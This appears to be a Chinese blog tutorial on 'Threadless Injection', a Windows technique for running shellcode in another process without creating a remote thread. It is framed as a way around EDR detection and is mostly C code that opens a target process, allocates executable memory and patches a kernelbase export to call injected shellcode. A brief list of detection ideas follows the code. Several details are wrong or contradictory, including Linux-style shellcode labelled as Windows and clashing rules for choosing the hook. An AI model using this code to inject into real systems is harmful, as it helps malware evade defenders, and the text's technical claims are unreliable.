Threadless Injection:一种绕过安全防护的进程注入新技术详解与示例

445 阅读5分钟

Threadless Injection(无线程注入)是一种新颖的进程注入技术,能够在不创建远程线程的情况下,将代码注入到第三方进程中执行,从而绕过传统的EDR(终端检测与响应)防护检测。本文将用最简单的方式介绍这一技术的基础知识,配合示例代码,帮助读者快速理解其原理和实现。

1. 传统进程注入的四个步骤

常见的进程注入步骤包括:

  • 获取目标进程句柄(例如使用 OpenProcess
  • 在目标进程中分配内存(例如使用 VirtualAllocEx
  • 写入shellcode到目标进程内存(例如使用 WriteProcessMemory
  • 创建远程线程执行shellcode(例如使用 CreateRemoteThread

这四步操作是杀毒软件和EDR重点监控的行为,任何程序执行这些API都会被立即标记为可疑,甚至被阻断。

2. Threadless Injection的核心思想

Threadless Injection的关键是避免直接调用创建远程线程的API,而是通过“钩子(hook)”技术,修改目标进程中某个经常调用的DLL导出函数,让它在被调用时执行我们注入的shellcode。

具体步骤:

  • 找到目标进程中某个经常调用的DLL导出函数(例如 kernelbase.dll 中的网络函数)
  • 在目标进程内存中找到一块“代码空洞”(code cave),用于存放shellcode和跳板代码(trampoline)
  • 将shellcode和跳板写入这块内存
  • 修改导出函数的前几条指令,插入跳转指令,跳转到shellcode执行
  • shellcode执行完后,跳回原函数继续执行,保证目标进程正常运行

这样,shellcode的执行被隐藏在正常的API调用中,绕过了传统的线程创建检测。

3. 选择合适的钩子函数

钩子函数必须满足:

  • 经常被调用,确保shellcode能及时执行
  • 不会频繁调用(避免性能问题)
  • 目标进程必须加载包含该函数的DLL

使用工具如 API Monitor 可以实时监控目标程序调用的API,帮助找到合适的钩子函数。

4. Threadless Injection示例代码讲解

以下示例展示了如何实现Threadless Injection的核心步骤,注入一个简单的shellcode(打开计算器)到目标进程。

4.1 获取目标进程句柄

HANDLE GetProcessHandleByName(LPCWSTR ps_name, DWORD *procID) {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (process_snap == INVALID_HANDLE_VALUE) return NULL;

    if (Process32First(process_snap, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {
                *procID = pe32.th32ProcessID;
                HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);
                if (hProc) {
                    CloseHandle(process_snap);
                    return hProc;
                }
            }
        } while (Process32Next(process_snap, &pe32));
    }
    CloseHandle(process_snap);
    return NULL;
}

4.2 获取DLL模块句柄及导出函数地址

HMODULE hModule = GetModuleHandleW(L"kernelbase.dll");
if (hModule == NULL)
    hModule = LoadLibraryW(L"kernelbase.dll");

void* dll_export_fun_addr = GetProcAddress(hModule, "VictimExportedFunction");
if (dll_export_fun_addr == NULL) return 1;

4.3 寻找代码空洞(code cave)

UINT_PTR addr_of_codecave = 0;
BOOL gotchaCave = FALSE;
UINT_PTR function_addr = (UINT_PTR)dll_export_fun_addr;

for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000;
     addr_of_codecave < function_addr + 0x70000000;
     addr_of_codecave += 0x10000) {

    LPVOID lpAddr = VirtualAllocEx(hProc,
                                  (LPVOID)addr_of_codecave,
                                  0x1000,
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
    if (lpAddr != NULL) {
        gotchaCave = TRUE;
        break;
    }
}
if (!gotchaCave) return 1;

4.4 写入跳板代码和shellcode

跳板代码负责保存现场,调用shellcode,执行完恢复现场并跳回原函数。

unsigned char trampoline[] = {
    0x58,                   // pop rax
    0x48, 0x83, 0xE8, 0x05, // sub rax, 5
    0x50,                   // push rax
    // ... 省略部分保存寄存器代码
    0xE8, 0x00, 0x00, 0x00, 0x00, // call shellcode (后续填充偏移)
    // ... 省略部分恢复寄存器代码
    0xFF, 0xE0              // jmp rax (跳回原函数)
};

unsigned char shellcode[] = {
    // 这里是打开计算器的shellcode示例(x64)
    0x48, 0x31, 0xC0,                   // xor rax, rax
    0x48, 0x83, 0xC0, 0x3C,             // add rax, 60 (NtCreateProcess)
    // 省略其他shellcode指令
};

4.5 修改导出函数的前几条指令,插入跳转到跳板

DWORD oldProtect;
VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &oldProtect);

unsigned char call_opcode[] = { 0xE8, 0, 0, 0, 0 }; // call 指令,后面4字节为偏移
int call_offset = (int)((UINT_PTR)addr_of_codecave - ((UINT_PTR)dll_export_fun_addr + 5));
*(int*)(call_opcode + 1) = call_offset;

WriteProcessMemory(hProc, dll_export_fun_addr, call_opcode, sizeof(call_opcode), NULL);

VirtualProtectEx(hProc, dll_export_fun_addr, 8, oldProtect, &oldProtect);

4.6 写入跳板和shellcode到代码空洞

c
unsigned char payload[sizeof(trampoline) + sizeof(shellcode)];
memcpy(payload, trampoline, sizeof(trampoline));
memcpy(payload + sizeof(trampoline), shellcode, sizeof(shellcode));

VirtualProtectEx(hProc, (LPVOID)addr_of_codecave, sizeof(payload), PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(hProc, (LPVOID)addr_of_codecave, payload, sizeof(payload), NULL);
VirtualProtectEx(hProc, (LPVOID)addr_of_codecave, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect);

5. 关键点总结

  • 不创建远程线程,避免被EDR通过CreateRemoteThread检测
  • 通过修改目标进程中常用API的代码,间接执行shellcode
  • shellcode执行后恢复原函数,保证程序正常运行
  • 选择合适的钩子函数,保证shellcode能及时执行且不影响性能

6. Threadless Injection的优势与防御

优势:

  • 绕过传统基于线程创建的注入检测
  • 不干扰目标进程线程状态,减少异常行为
  • 适合在Windows 11 23H2等新系统环境下使用

防御思路:

  • 监控目标进程中DLL导出函数代码段的写入行为
  • 检测导出函数前几条指令被修改(inline hook)
  • 监控异常的call/jmp指令写入
  • 结合行为分析识别异常API调用

7. 参考资料与开源项目

8. 结语

Threadless Injection是一种突破传统进程注入检测的新技术。通过对目标进程中常用函数的钩子修改,实现隐蔽的shellcode执行。本文结合基础知识和示例代码,帮助读者理解其原理和实现细节。实际应用中还需结合多种技术手段,提升隐蔽性和稳定性。

欢迎读者根据本文示例,结合自身需求,深入研究Threadless Injection技术。安全研究需合法合规,本文仅供学习与研究使用。